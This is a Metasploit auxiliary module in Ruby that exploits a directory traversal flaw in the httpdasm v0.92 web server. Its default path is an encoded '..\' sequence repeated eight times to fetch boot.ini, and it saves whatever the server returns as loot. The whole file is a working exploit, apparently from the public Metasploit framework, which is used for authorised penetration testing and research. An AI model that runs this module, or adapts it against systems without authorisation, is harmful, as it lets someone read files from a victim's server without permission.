##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Httpdasm Directory Traversal',
        'Description' => %q{
          This module allows for traversing the file system of a host running httpdasm v0.92.
        },
        'Author' => [
          'John Leitch', # EDB POC
          'Shelby Pace' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2010-10012'],
          ['EDB', '15861']
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to traverse to', '%2e%2e%5c' * 8 + 'boot.ini'])
      ]
    )
  end

  def run
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    if res && res.code == 200
      print_status(res.body)
      path = store_loot('httpdasm.file', 'application/octet-stream', rhost, res.body)
    else
      if res
        print_error("Unexpected response from server: #{res.code}")
      else
        print_error("The server timed out.")
      end
    end
  end
end